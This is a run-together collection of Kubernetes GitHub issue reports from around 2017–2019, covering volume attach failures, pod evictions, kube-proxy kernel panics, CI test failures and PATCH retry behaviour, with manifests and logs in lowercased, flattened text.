what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : vsphere disk attach detach controller kubelet mount\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : kubernetes v1.5.2+43a9be4  openshift v3.5.5.13 \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere\r -   os    e.g. from /etc/os-release : rhel server 7.3\r -   kernel    e.g.  uname -a  : 3.10.0-514.el7.x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r created a storage class, pvc, and pod using the pvc. pod got scheduled to a node, then:\r \r the attach detach controller on master reported that it succeeded in attaching the disk to the node and returned a device path. the disk can be seen under the node vm's info in the vsphere web ui. however, when the node tries to mount the device, it finds that the device path does not actually exist  because it doesn't :\r \r >may 11 00:46:02 node1.c.vsphere.local atomic-openshift-node 6160 : e0511 00:46:02.945067    6220 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/vsphere-volume/ datastore1  kubevols/kubernetes-dynamic-pvc-1616e018-3541-11e7-9c55-0050569fb058.vmdk\\\ \  failed. no retries permitted until 2017-05-11 00:48:02.945024277 +0800 cst  durationbeforeretry 2m0s . error: mountvolume.waitforattach failed for volume \ kubernetes.io/vsphere-volume/ datastore1  kubevols/kubernetes-dynamic-pvc-1616e018-3541-11e7-9c55-0050569fb058.vmdk\   spec.name: \ pvc-1616e018-3541-11e7-9c55-0050569fb058\   pod \ 1d943175-3541-11e7-9c55-0050569fb058\   uid: \ 1d943175-3541-11e7-9c55-0050569fb058\   with: could not find attached vmdk \  datastore1  kubevols/kubernetes-dynamic-pvc-1616e018-3541-11e7-9c55-0050569fb058.vmdk\ . timeout waiting for mount paths to be created.\r \r the pod is then stuck containercreating\r \r   what you expected to happen  :\r pod can enter running state with the disk mounted.\r \r   how to reproduce it    as minimally and precisely as possible :\r  it's only reproducible on one particular cluster with containerized kubelet and controller-manager. this was  not  reproducible on an identical cluster with the same containerized kubelet & controller-manager setup and the same version of kubernetes, on a different vsphere server, \r \r steps to reproduce:\r 1. create a storageclass\r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: vsphere\r provisioner: kubernetes.io/vsphere-volume\r \r 2. create a pvc\r {\r   \ kind\ : \ persistentvolumeclaim\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ vsphere\ ,\r     \ annotations\ : {\r         \ volume.beta.kubernetes.io/storage-class\ : \ vsphere\ \r     }\r   },\r   \ spec\ : {\r     \ accessmodes\ :  \r       \ readwriteonce\ \r      ,\r     \ resources\ : {\r       \ requests\ : {\r         \ storage\ : \ 1gi\ \r       }\r     }\r   }\r }\r \r 3. once pvc is bound, create a pod\r oc get pvc\r name      status    volume                                     capacity   accessmodes   age\r vsphere   bound     pvc-9baba382-0ed0-11e7-8a82-0050569fb058   1gi        rwo           48m\r \r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ pod\ ,\r     \ metadata\ : {\r         \ name\ : \ vsphere\ ,\r         \ labels\ : {\r             \ name\ : \ vsphere\ \r         }\r     },\r     \ spec\ : {\r         \ containers\ :  {\r             \ name\ : \ vsphere\ ,\r             \ image\ : \ aosqe/hello-openshift\ ,\r             \ imagepullpolicy\ : \ ifnotpresent\ ,\r             \ volumemounts\ :  {\r                 \ mountpath\ : \ /mnt/vsphere\ ,\r                 \ name\ : \ vsphere\ \r             } \r         } ,\r        \ securitycontext\ : {\r             \ fsgroup\ : 123456,\r             \ supplementalgroups\ :  111,112,113 ,\r             \ selinuxoptions\ : {\r                  \ level\ : \ s0\ \r             }\r        },\r         \ volumes\ :  {\r             \ name\ : \ vsphere\ ,\r             \ persistentvolumeclaim\ : {\r                 \ claimname\ : \ vsphere\ \r             }\r         } \r     }\r }\r 4. pod is stuck containercreating\r \r   anything else we need to know  :\r - not reproducible on an identical cluster on a different vsphere server\r - not reproducible on a non-containerized cluster on the same vsphere server.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : soak\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r most of the soak tests under google-soak in testgrid has been failing since today. the failing reason is 'kubectl version'.\r \r   what you expected to happen  :\r soak tests should be green.\r \r   how to reproduce it    as minimally and precisely as possible :\r https://k8s-testgrid.appspot.com/google-soak\r \r   anything else we need to know  :\r \r

after  46765 which tries to fix  46736, a namespace containing custom resources cannot be deleted  it will be stuck in terminating .\r \r the error on the apiserver side is:\r \r    \r status.go:62  apiserver received an error that is not an metav1.status: object 'kind' is missing in '{\ orphandependents\ :false}\r    \r \r according to the stack trace, the error comes from here:\r \r https://github.com/kubernetes/kubernetes/blob/0cff839/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/rest.go l1102\r \r cc @deads2k

  \r   what happened  :\r \r we're stress testing our api which is on a kube  1.5.2  cluster hosted on aws. it's a blend of rails and go microservices.\r \r when sending several hundreds requests per second something strange happens: all involved pods are responding correctly and averaging around 50ms, all seems fine, until some pods are  randomly, i'd say  restarted.\r \r upon checking the pods, it says:\r \r    \r     last state:\t\tterminated\r       reason:\t\tcompleted\r       exit code:\t0\r    \r \r and running  kubectl logs pod-xxxxx --previous  shows the pod received a  sigint .\r \r all deployments are configured with a liveness probe, however these pods are not restarted because of this, because the events log doesn't show signs of unhealthiness. and if we try and stress the api above what it can handle, will get restarts because of unhealthiness and  describe pod  will show this.\r \r really, it seems like kube is just terminating the pods, but we are left with no clues as to why it's doing this.\r \r   what you expected to happen  :\r \r pods shouldn't be randomly terminated, or if they are terminated for a reason which is not unhealthiness, out of resources, etc, it should explain why in the events log.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r basic cluster with a microservice-based web api. several pods per deployment. running tests with locust.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie\r - kerne:  linux ip-172-20-0-226 3.16.0-4-amd64  1 smp debian 3.16.43-2+deb8u1  2017-06-18  x86_64 gnu/linux \r - install tools:  kube-up \r

pr  46580 \ implement ipvs-based in-cluster service load balancing\  looks a bit huge and it's not easy to review. i admit pr  46580 has many files changed and it costs time to review and fix comments. should we split the original work into small ones and do that one by one?\r \r in my view, pr  46580 can be cut into at least 2 smaller ones - implementing ipvs util package and godeps = 1 pr, main part of implementing ipvs mode for kube-proxy = 1 pr.\r \r this issue is about the work of \ implementing ipvs util package and godeps\ , hopefully can make it easier to review.\r \r once this work is done, we may step into reviewing the \ main part of implementing ipvs mode for kube-proxy\ ?\r \r @thockin please let me know if it helps you reviewing the ipvs work. thanks!\r \r @haibinxie @quinton-hoole @bowei @kevin-wangzefeng @deepak-vij @dhilipkumars\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r while working on  46514, i noticed that some fn's like addorupdatetaints, deletetaintsbykey etc. are missing unit tests.\r \r   what you expected to happen  :\r write unit tests for them.\r

running a kernel with  config_preempt=y  causes kernel panic when running  kube-proxy  unless  --conntrack-max-per-core=0  is passed.  kernel stack trace here  https://gist.github.com/danisla/b002610edf9b9687a492b8d99a6edaf4 file-dump-txt-l17 .\r \r    background    \r \r preemptive and real-time kernels do not support spinlocks and the current implementation of the kernel conntrack_hash_resize function  uses a spinlock  https://github.com/torvalds/linux/blob/v4.10/net/netfilter/nf_conntrack_core.c l1755  to perform the resize. when  kube-proxy attempts to set the hashsize  https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-proxy/app/conntrack.go l84  on a system with a preemptive kernel, the kernel panics and entire node crashes. \r \r    possible workarounds/solutions   \r \r 1. pass  --conntrack-max-per-core=0  to kube-proxy so that it doesn't modify the hashsize. this can be problematic when running on environments like gke where i just want to swap the instance template with an image containing the preempt kernel.\r \r 2.   patch the kernel  https://gist.github.com/danisla/be3c3ebb1d939139cdf426ee88d78f56  to prevent resizing when using  config_preempt . hack.\r \r 3. add some logic to kube-proxy to detect preempt kernel and skip modification of the hashsize.\r \r i'm mostly in favor of option 3 since it doesn't involve hacking the kernel and it would be a drop-in fix for existing k8s deployments.\r \r i am also curious what the scaling consequences may be when the hashsize cannot be set appropriately. it's worth noting that the default hashsize with the preemptive kernel is only 16384 and i'm not sure how far i can scale with that value.\r \r  

/ /  /status approved-for-milestone\r @kubernetes/sig-scalability-test-failures\r \r this job has been failing for as far back as i can see on testgrid.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking , and prevents us from cutting  v1.9.0-alpha.3  https://github.com/kubernetes/sig-release/issues/27 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness\r \r /assign @shyamjvs \r i suspect there's another umbrella issue for this out there, but i'm making one for the v1.9 release for consistency's sake

upgrade kubernetes to use etcd client 3.2.11\r \r the  etcd 3.2.10  https://github.com/coreos/etcd/releases/tag/v3.2.10  and  etcd 3.2.11  https://github.com/coreos/etcd/releases/tag/v3.2.11  client code includes a backport of a new gprc balancer  https://github.com/coreos/etcd/pull/8840 , and data race fixes to gprc  https://github.com/coreos/etcd/pull/8867, https://github.com/grpc/grpc-go/pull/1687  found by the recently updated etcd functional tester.\r \r https://github.com/kubernetes/kubernetes/issues/47131 suggests that load balancer issues may be responsible for a variety of reported ha etcd cluster issues.  unfortunately, the reports lack sufficient detail to reproduce, so we can't say for sure which, if any, will be resolved by this fix. we do know, however, that the etcd functional test suite, which was updated to test a more comprehensive set of failure modes for 3.2.11, passes with these fixes in place, providing a strong signal that these fixes are essential to running ha etcd clusters.\r \r upgrading kubernetes to use the 3.2.11 client will require upgrading from grpc 1.3.0 to 1.7.4. we expect the bulk of the work to be performing this grpc upgrade, which will require regenerating grpc bindings and updating grpc code and . see the  etcd client upgrade checklist  https://github.com/coreos/etcd/blob/master/documentation/upgrades/upgrade_3_2.md client-upgrade-checklists-3210  for details.\r \r we plan to target the kubernetes 1.10 release, and backport to 1.9  and possibly 1.8  if/when the fix proves stable.\r \r  for the corresponding etcd server 3.2.11 upgrade see  56438

\r  \r \r   what happened  :\r \r deployed a gce cluster using calico, tainted some nodes.\r \r calico did not run on those nodes, and as a result no other pods could run on that node.\r \r   what you expected to happen  :\r \r calico should tolerate all taints, and run on all nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r cc @dnardo

is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r are there any plans on releasing an official build of  kube-registry-proxy   and kube-registry as well now that i think of it  that runs on arm? several other of the kubernetes projects already support arm  like kubernetes itself and the dashboard ? there's an _old_ unofficial version floating around https://github.com/luxas/kubernetes-on-arm but it is unmaintained and i've not been able to get it to work\r \r thanks

the patch handler has some ... interesting behavior. from the comments:\r \r    \r \t// first time through,\r \t// 1. apply the patch\r \t// 2. save the original and patched to detect whether there were conflicting changes on retries\r \r \t// on a conflict  which is the only reason to have more than one attempt ,\r \t// 1. build a strategic merge patch from originaljs and the patchedjs.  different patch types can\r \t//    be specified, but a strategic merge patch should be expressive enough handle them.  build the\r \t//    patch with this type to handle those cases.\r \t// 2. build a strategic merge patch from originaljs and the currentjs\r \t// 3. ensure no conflicts between the two patches\r \t// 4. apply the  1 patch to the currentjs object\r    \r \r i think there are three modes of operation which it potentially makes sense for patch to have:\r \r 1. user specifies rv; patch makes one try. fail if rv no longer matches.  this makes sense if the user's patch depends on some part of the object in an unpredictable way. \r 2. user does not specify rv; patch makes multiple tries, fails if the patch stops applying cleanly.  user is opting out of any locking--'.spec.replicas' should be x, i don't care what anyone else said. \r 3. user specifies a base object and a patch; patch interprets the patch changes as having an implicit \ from\  precondition for every change. it retries as long as the patch with the implied preconditions continues to apply cleanly.  user wants concurrency-safe application and wants the server to do the retry loop. and the patch is predictable. \r \r unfortunately the code today does none of those sensible things, and is instead a conflation of 2 and 3 above.\r \r if a user tries case 1 today, we think that it still does 5 retries, even though if the first one has a conflict it is certain that the others will, too.\r \r if a user today doesn't specify an rv, today's retry loop does a bunch of conflict detection that is pretty pointless: the user didn't specify any relation to the rv, therefore using the rv when the request first came in as a \ base object\  is an arbitrary choice. if a conflict is generated, user is just going to retry with the exact same patch.\r \r and if a user wants behavior 3, there is no way to get it today. i personally recall 3 as being the originally advertised behavior of patch but this doesn't seem to be a universal memory.\r \r so, i propose changes:\r 1. if the user specifies a rv in the patch, do not do any retries. this is backwards compatible because they all would have failed anyway.\r 2. if the user doesn't specify an rv, don't do the conflict detection mentioned in the comments, just retry with the original patch. i think this is backwards compatible because all the failures this causes are actually spurious.\r 3. add a mechanism for the user to deliberately invoke behavior 3. this would be a \ new\  feature.

i am trying to test running websphere onto kubernetes. currently this is the\r \r    \r docker run --name test -h test -p 9043:9043 -p 9443:9443 -d \\\r   ibmcom/websphere-traditional:install\r    \r i deployed it with my deployment.yaml and my service.yaml as shown below\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: websphere\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: websphere\r     spec:\r       containers:\r       - name: websphere\r         image: ibmcom/websphere-traditional:install\r         ports:\r         - containerport: 9043\r         - containerport: 9443\r         resources:\r           requests: \r             memory: 500mi\r             cpu: 0.5\r           limits:\r             memory: 500mi\r             cpu: 0.5\r         imagepullpolicy: always\r    \r \r    \r \r apiversion: v1\r kind: service\r metadata:\r   name: websphere\r   labels:\r     app: websphere\r spec:\r   type: nodeport  exposes the service as a node ports\r   ports:\r   - port: 9043\r     name: db\r     protocol: tcp\r     targetport: 9043\r     nodeport: 30043\r   - port: 9443\r     name: ap\r     protocol: tcp\r     targetport: 9443\r     nodeport: 30443\r   selector:\r     app: websphere\r    \r \r i tried to do a port forward to port kubectl port-forward websphere-7874884868-ntz54 9043:9043 9443:9443 but an error e 0910 00:49:06.156200   19468 portforward.go:331  an error occurred forwarding 9043 -> 9043: error forwarding port 9043 to pod 7e184665bf11f95ee02d07d40224a52368aa6b50240f0c7faf1a335d5b87a86e, uid : exit status 1: 2018/09/09 16:49:06 socat 1668  e connect 5, af=2 127.0.0.1:9043, 16 : connection refused \r \r the port forward is working for my other node js app and i am able to access my app:  kubectl port-forward mynodejsapp-67cffbd59b-clxbd 3000:3000  so im pretty sure is not the socat installation issue. \r \r does anyone know what's wrong?

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r the issue is with the information provided for the rules, not about the default backend.\r \r form the describe:\r \r     rules:\r        host       path  backends\r        ----       ----  --------\r        hellonode\r                      hellonode:8080  <none> \r \r the endpoint show none.\r \r and below is the ingress yaml file.\r \r     apiversion: extensions/v1beta1\r     kind: ingress\r     metadata: \r       name: hellonode\r     spec:\r       rules:\r       - host: hellonode\r         http:\r           paths:\r           - backend:\r               servicename: hellonode\r               serviceport: 8080\r \r   what you expected to happen  :\r \r it should show the service endpoint\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

the main federation e2e test job has to run all the tests in parallel to even make it dependable. so we need  another test job to run the tests that can be parallelized.\r \r this is part of an effort to make the federation e2e tests parallelizable. issue  40765.\r \r cc @kubernetes/sig-federation-bugs @shashidharatd

kubernetes version  : 1.6.2 master and nodes\r   environment  : gke\r   what happened  : the following has been happening for the last week or two.\r \r i noticed loads of pods being evicted with the following message from  kubectl describe :\r    \r node:\t\tgke-prow-build-pool-a89df2af-4bc8/\r status:\t\tfailed\r reason:\t\tevicted\r message:\tthe node was low on resource: nodefs.\r    \r the node shows ready but also that it has disk pressure from  kubectl get no :\r    yaml\r status:\r   conditions:\r   - lastheartbeattime: 2017-05-09t17:38:33z\r     lasttransitiontime: 2017-05-09t15:43:02z\r     message: kubelet has disk pressure\r     reason: kubelethasdiskpressure\r     status: \ true\ \r     type: diskpressure\r   - lastheartbeattime: 2017-05-09t17:38:33z\r     lasttransitiontime: 2017-05-09t01:07:06z\r     message: kubelet is posting ready status. apparmor enabled\r     reason: kubeletready\r     status: \ true\ \r     type: ready\r    \r  kubectl describe no  shows lots of  imagegcfailed .\r    \r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t-------------\t--------\t------\t\t\t-------\r   4h\t\t19s\t\t564\tkubelet, gke-prow-build-pool-a89df2af-4bc8\t\t\twarning\t\tevictionthresholdmet\tattempting to reclaim nodefs\r   4h\t\t18s\t\t54\tkubelet, gke-prow-build-pool-a89df2af-4bc8\t\t\twarning\t\timagegcfailed\t\t events with common reason combined \r \r    \r kubelet logs show that it's failing to delete the images and free up disk space. for each image it shows this every 10 seconds:\r    \r a  i0509 17:59:31.183907    1453 image_gc_manager.go:335   imagegcmanager : removing image \ sha256:fa60023475d842a7a62d38fa27a0d3f6fd672be5ea1f09e6d07f8459d2c0c60a\  to free 1105710474 bytes \r a  e0509 17:59:31.186643    1453 remote_image.go:124  removeimage \ sha256:fa60023475d842a7a62d38fa27a0d3f6fd672be5ea1f09e6d07f8459d2c0c60a\  from image service failed: rpc error: code = 2 desc = error response from daemon: conflict: unable to delete fa60023475d8  must be forced  - image is being used by stopped container 8641d5395d30 \r a  e0509 17:59:31.186705    1453 kuberuntime_image.go:126  remove image \ sha256:fa60023475d842a7a62d38fa27a0d3f6fd672be5ea1f09e6d07f8459d2c0c60a\  failed: rpc error: code = 2 desc = error response from daemon: conflict: unable to delete fa60023475d8  must be forced  - image is being used by stopped container 8641d5395d30 \r    \r \r   what you expected to happen  :\r \r i would be happy if the node were marked unschedulable when it's out of disk. i would also be happy if the images successfully clean up. as it is, the node just evicts any pod that attempts to run on it.\r \r   how to reproduce it  :\r \r i don't know how to reproduce from scratch, but i've cordoned this node and can give access to someone for debugging.\r \r please let me know if you need more information, and apologies if this is a dupe.\r \r cc @kubernetes/sig-node-bugs

hack/verify-golint.sh  can cost minutes to complete the lint. but in some cases we don't want to golint the whole project, e.g. i only want to verify if the files i modified can pass golint. running the whole golint would be boring in this case, especially when i fix lint errors and run  hack/verify-golint.sh  again to verify if the fix is okay.\r \r i would like to have a  what  flag for  hack/verify-golint.sh  as  make test  has. with this flag, contritutors can specify which pkg they want to run golint for.\r \r /cc @spxtr

i am computer science student researching topics for my final year project. i have been given a general direction to look for improving load balancing strategy using load information. i am now in the process of researching the topics and looking for open source project requiring this kind of improvement.\r \r i cannot give performance number for why this should be done but looking at this paper on the same subject, i am quite convinced that this is an improvement over current kubernetes service load balancing strategy strategy, random.\r \r if possible i want to know if implementing kubernetes service load balancing strategy by using load information from pods is frown upon or appreciated.\r \r thank you.\r \r  

background:\r \r we are adding extension mechanisms to the kubernetes control plane, initializers and admission webhooks. if e.g. the webhooks are configured but not actually running in the cluster, then the cluster is broken until an administrator can fix it. to make it possible to avoid this situation, we're going to let the webhook be gated on a selector matching the labels on the namespace containing the item under consideration. this should make it possible to construct a set of labels on namespaces that will allow the namespaces hosting the critical webhooks to be operational when the webhooks aren't running.  i will add a link to the design when it is published. \r \r     what we need:\r \r we're looking for documented best practices around this. we imagined building a \ run level\  system in labels on namespaces out of this. a complete solution should\r   cover how many run levels there are\r   cover what components go in which run level\r   analyze the functionality of the current controller-manager; it may need to be split into binaries or modes that are in different run levels\r   draw some inspiration from brian's  layers doc  https://docs.google.com/document/d/1xkjvm4boeivkj-xt1lgogiqwsbfnozj51dyi-ljzt1o/edit . \r \r we think cluster lifecycle sig is probably the best place for this to be worked out.\r \r  this is from a meeting between myself, @cheftako, @deads2k, @smarterclayton, @liggitt, @caesarxuchao, and @jagosan.

on v1.5.7\r \r execing into a container with readonlyrootfilesystem leaves the filesystem writeable\r ... it works fine when the container is regularly booted though a kubernetes deployment

new tests for subpath consistently fail in ci-kubernetes-e2e-gce-multizone:\r \r    \r  sig-storage  subpath  volume type: gcepd  should support existing single file 5m29s\r go run hack/e2e.go -v --test --test_args='--ginkgo.focus=\\ sig\\-storage\\ \\ssubpath\\s\\ volume\\stype\\:\\sgcepd\\ \\sshould\\ssupport\\sexisting\\ssingle\\sfile$'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/subpath.go:127\r expected error:\r     < errors.errorstring | 0xc4216eef90>: {\r         s: \ expected pod \\\ pod-subpath-test-gcepd-wspg\\\  success: gave up after waiting 5m0s for pod \\\ pod-subpath-test-gcepd-wspg\\\  to be \\\ success or failure\\\ \ ,\r     }\r     expected pod \ pod-subpath-test-gcepd-wspg\  success: gave up after waiting 5m0s for pod \ pod-subpath-test-gcepd-wspg\  to be \ success or failure\ \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2280\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/18398/\r \r   \r @msau42 @verult

is this a bug report or feature request?  : bug report\r \r  \r   what happened  : kubelet fails to bootstrap when   --hostname-override  is set.\r \r    \r apr 15 18:53:24 node1 kubelet 5358 : i0415 18:53:24.435172    5358 reconciler.go:154  reconciler: start to sync state\r apr 15 18:53:31 node1 kubelet 5358 : e0415 18:53:31.995375    5358 kubelet_node_status.go:374  error updating node status, will retry: error getting node \ node1.bootstrapo2.acs\ : nodes \ node1.bootstrapo2.acs\  not found\r apr 15 18:53:32 node1 kubelet 5358 : e0415 18:53:32.000597    5358 kubelet_node_status.go:374  error updating node status, will retry: error getting node \ node1.bootstrapo2.acs\ : nodes \ node1.bootstrapo2.acs\  not found\r apr 15 18:53:32 node1 kubelet 5358 : e0415 18:53:32.004915    5358 kubelet_node_status.go:374  error updating node status, will retry: error getting node \ node1.bootstrapo2.acs\ : nodes \ node1.bootstrapo2.acs\  not found\r apr 15 18:53:32 node1 kubelet 5358 : e0415 18:53:32.010134    5358 kubelet_node_status.go:374  error updating node status, will retry: error getting node \ node1.bootstrapo2.acs\ : nodes \ node1.bootstrapo2.acs\  not found\r apr 15 18:53:32 node1 kubelet 5358 : e0415 18:53:32.015376    5358 kubelet_node_status.go:374  error updating node status, will retry: error getting node \ node1.bootstrapo2.acs\ : nodes \ node1.bootstrapo2.acs\  not found\r apr 15 18:53:32 node1 kubelet 5358 : e0415 18:53:32.015403    5358 kubelet_node_status.go:366  unable to update node status: update node status exceeds retry count\r apr 15 18:53:33 node1 kubelet 5358 : e0415 18:53:33.553842    5358 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ node1.bootstrapo2.acs\  not found\r \r    \r \r   what you expected to happen  : i'm using  bootstrap tokens  https://kubernetes.io/docs/admin/bootstrap-tokens/  to join nodes to a cluster. i expected the nodes to generate csrs using the hostname specified in   --hostname-override .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set  --bootstrap-kubeconfig  and   --hostname-override  on a kubelet\r    \r \r   anything else we need to know?  :\r \r   environment  : linux\r - kubernetes version  use  kubectl version  : v1.10.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 17.10\r - kernel  e.g.  uname -a  :  linux k8scontroller2 4.13.0-38-generic  43-ubuntu smp wed mar 14 15:20:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: manual  with terraform \r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-blocking kubeadm-gce-master  https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-master \r \r   which test s  are failing  :\r    test  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-master/1798 \r \r   since when has it been failing  :\r failing since 2/4 at 14:11.  k/k diff  https://github.com/kubernetes/kubernetes/compare/9d6ebf6c7...732cb1001  and   k/-test-infra diff  https://github.com/kubernetes/test-infra/compare/2e7dfc3b7...6402bf485 .\r \r   testgrid link  :\r    https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-master  https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-master \r \r   reason for failure  :\r    \r w0204 22:23:12.081  2019/02/04 22:23:12 main.go:297: something went wrong: encountered 1 errors:  error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ conformance\\ |\\ feature:bootstraptokens\\ |\\ feature:nodeauthorizer\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1 \r w0204 22:23:12.085  traceback  most recent call last :\r w0204 22:23:12.086    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 764, in <module>\r w0204 22:23:12.086      main parse_args   \r w0204 22:23:12.086    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 615, in main\r w0204 22:23:12.086      mode.start runner_args \r w0204 22:23:12.086    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 262, in start\r w0204 22:23:12.086      check_env env, self.command,  args \r w0204 22:23:12.086    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 111, in check_env\r w0204 22:23:12.087      subprocess.check_call cmd, env=env \r w0204 22:23:12.087    file \ /usr/lib/python2.7/subprocess.py\ , line 186, in check_call\r w0204 22:23:12.087      raise calledprocesserror retcode, cmd \r w0204 22:23:12.087  subprocess.calledprocesserror: command ' 'kubetest', '--dump=/workspace/_artifacts', '--gcp-service-account=/etc/service-account/service-account.json', '--up', '--down', '--test', '--deployment=kubernetes-anywhere', '--provider=skeleton', '--cluster=e2e-1798-1ad8f', '--gcp-network=e2e-1798-1ad8f', '--extract=ci/latest-bazel', '--gcp-zone=us-west1-b', '--kubernetes-anywhere-kubelet-ci-version=latest-bazel', '--kubernetes-anywhere-kubernetes-version=ci-cross/latest', '--test_args=--ginkgo.focus=\\\\ conformance\\\\ |\\\\ feature:bootstraptokens\\\\ |\\\\ feature:nodeauthorizer\\\\  --minstartuppods=8', '--timeout=300m', '--kubernetes-anywhere-path=/workspace/k8s.io/kubernetes-anywhere', '--kubernetes-anywhere-phase2-provider=kubeadm', '--kubernetes-anywhere-cluster=e2e-1798-1ad8f', '--kubernetes-anywhere-kubeadm-version=gs://kubernetes-release-dev/ci/v1.14.0-alpha.2.287+732cb10019c50e-bazel/bin/linux/amd64/' ' returned non-zero exit status 1\r e0204 22:23:12.100  command failed\r i0204 22:23:12.101  process 328 exited with code 1 after 10.4m\r e0204 22:23:12.101  fail: ci-kubernetes-e2e-kubeadm-gce-master\r    \r \r cc @mortent @kacole2 @mariantalla @smourapina\r \r  

hi,  i just noticed that the nodes on our  aws  cluster also have the region in the zone label:       failure-domain.beta.kubernetes.io/region=eu-west-1 failure-domain.beta.kubernetes.io/zone=eu-west-1a      this doesn't make sense to me as it prevents you from using the zone label as a selector without knowing the region upfront  which is not always the case .   if for example you want to duplicate a k8s cluster on a different region it would require me to edit the manifest and change the zone label everywhere to contain the new region.  so say you have 2 nodes in separate availability zones and want to deploy a pod in availability zone   a   i would  expect to just specify the zone as   a            nodeselector:         failure-domain.beta.kubernetes.io/zone=a      if for some reason i need to also specify the region you can alway use the _failure-domain.beta.kubernetes.io/region_ label.

vendor/k8s.io/heapster imports  pkg/api/unversioned , which prevents refactors.  previously we imported rkt which imported  pkg/resource , preventing a refactor.\r \r we need a global import rule that any package that is vendored that references something in k8s.io/kubernetes needs to vendor or copy that dependency.

